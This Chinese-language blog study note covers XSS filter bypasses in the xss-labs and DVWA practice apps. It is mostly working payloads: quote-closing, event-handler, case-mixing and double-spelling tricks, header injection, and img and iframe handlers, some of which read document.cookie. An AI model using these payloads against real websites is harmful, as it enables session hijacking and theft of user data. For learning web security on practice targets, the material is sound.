alert():警告弹窗
confirm():确定弹窗
prompt():提示弹窗
payload
关键字测试:onfocus <script> <a href=javascript:alert()>
' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
插入一段js代码,get传参
url?name=<script>alert()</script>
闭合掉双引号--闭合绕过
"> <script>alert()</script> <"
onfocus事件------可以利用这个事件来绕过<>号的过滤已达到执行js的目的
onfocus可以绕过html实体化(即<>号的过滤)
' onfocus=javascript:alert() ' 单引号
" onfocus=javascript:alert() " 双引号
a href标签法-----可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,
上面是转跳到一个网站,我们还可以触发执行一段js代码
"> <a href=javascript:alert()>xxx</a> <"
大小写过滤
"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"
双拼写绕过
"> <a hrehreff=javasscriptcript:alert()>x</a> <"
href的隐藏属性自动Unicode解码
先插入一段js伪协议
javascript:alert()
利用工具进行unicode编码 https://www.matools.com/code-convert-unicode
javascript:alert()
直接插入href里
get传参t_sort
隐藏的input标签可以插入type="text"显示
?t_sort=" onfocus=javascript:alert() type="text
referer头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
把><给删掉,可以用onfocus构造http头
Referer: " onfocus=javascript:alert() type="text
User-Agent头
" onfocus=javascript:alert() type="text
ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
?src='/level1.php?name=<img src=1 onm ouseover=alert()>'
空格替换成回车的url编码
<svg%0Aonload=alert(1)>
标签插入新姿势,<img>标签与<iframe>标签插入
这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号
"> <img src='666' one rror=alert()> <"
当鼠标移出图片的时候执行的属性onmouseout
"> <img src=666 onm ouseout="alert()"> <"
②当鼠标移动到图片的时候执行的属性onmouseover
"> <img src=1 onm ouseover="alert()"> <"
跨站脚本漏洞
危害
获取用户信息;(如浏览器信息,IP地址,cookie信息等)
钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器
注入木马或广告链接
后台增删改网站数据等操作
xss蠕虫(微博蠕虫:只要扛过某人的微信就是自动关注某人;贴吧蠕虫:看过某个帖子,就会自动回复这个帖子)
反射性xss
见框就插,改url参数
经典测试 <script>alert("hack")</script>
大写绕过 <SCRIPT>alert("hack")</SCRIPT>
双写绕过 <scr<script>ipt>>alert("xss")</script>
其他标签 <img src=1 one rror=alert("hack")/>
Xss反射型:
反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
low级别:
分析:
arrary_key_exists()函数:判断$_GET的值是否存在“name”键名。并且$_GET['name']的值是否不为空,满足这些条件
直接输出下面的输出语句。可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的xss漏洞。
漏洞利用构造语句:
<script>alert('XSS')</script> js和html有一个特性(创建了一个标签必须要比这个标签进行闭合)<title></title><body></body>
Medium级别:
分析:
这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入的<script>转化为空。然后在将name值输出。
这种防护机制是可以被轻送绕过的。
漏洞利用构造语句:
1.大小写混淆绕过(str_replace()函数不太完美,因为它区分大小写。)
<ScRipt>alert(/XSS/)</script>
<SCRIPT>alert(/xss/)</SCRIPT>
2.复写绕过 拼接:
<sc<script>ript>alert(/xss/)</script>
3.构造语句不适用<script>标签进行绕过
<img src=1 one rror=alert(/xss/)>
4.可弹出cookie值
<iframe src="" onl oad="alert(document.cookie)"></iframe>
标签解释:<img ..>标签是添加一个图片,src是指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件,
这里我们的图片url肯定是错误的,这个弹框事件也必定会执行
High级别:
分析:
High级别的代码同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。
用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
漏洞利用构造语句:
<img src=1 one rror=alert(/xss/)>
Xss存储型:
存储型XSS是指应用程序直接将攻击者提交的具有恶意代码存储到后台
在显示数据页面被访问时恶意脚本在浏览器因html注入导致页面执行恶意代码从而被攻击者控制浏览器
low级别:
修剪(字符串,字符列表)函数移除字符串两侧的空白字符或其他预定义字符,
预定义字符包括, \吨, \n, \X0B, \r以及空格,可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(字符串,连接)
函数法定字符串中的特殊符号(\ x00,\ n,\ r,\,',“,\ x1a)进行转义。斜线(字符串)函数删除字符串中的反斜杠。
可以看到,对输入没有做XSS方面的过滤与检查,并且存储在数据库中,因此这里存在明显的存储类型XSS中断。
漏洞利用构造语句:
1.<script>alert(/xss/)</script>
2.<script>alert(document.cookie)</script>
3.<img src="" one rror="alert(/xss/)"/>
可弹出cookice值
4.<iframe src="" onl oad="alert(document.cookie)"></iframe>
Medium级别:
用strip_tags()函数剥去字符串中的HTML,XML以及PHP的标签,但允许使用的<b>标签。
addlashes()函数返回在预定义字符(单引号,双引号,反斜杠,NULL)之前添加反斜杠的字符串。
可以看到,由于对消息参数使用了html特殊字符函数进行编码,因此无法再通过消息参数注入XSS代码,但是对于名称参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
漏洞利用构造语句:
1.<sc<script>ript>alert(/xss/)</script>
2.<sCrIpt>alert(document.cookie)</scRipT>
3.<img src="" one rror="alert(/xss/)"/>
4.<iframe src="" onl oad="alert(document.cookie)"></iframe>
High级别:
可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img,iframe等其他危险的标签,因此名称参数依旧存在存储类型XSS。
漏洞利用构造语句:
1.<img src="" one rror="alert(/xss/)"/>
2.<iframe src="" onl oad="alert(document.cookie)"></iframe>
XSS DOM:
DOM XSS漏洞的产生
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,
它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,
如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,
如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
low级别:
漏洞利用构造语句:
1.<script>alert(/XSS/)</script>
Medium级别:
漏洞利用构造语句:
1.</option></select><img src=1 one rror=alert(/xss/)>
High级别:
漏洞构造语句:
1.#<script>alert(/xss/)</script>
标签:XSS,xss,标签,DOM,alert,学习,漏洞 From: https://blog.51cto.com/u_16264288/7479285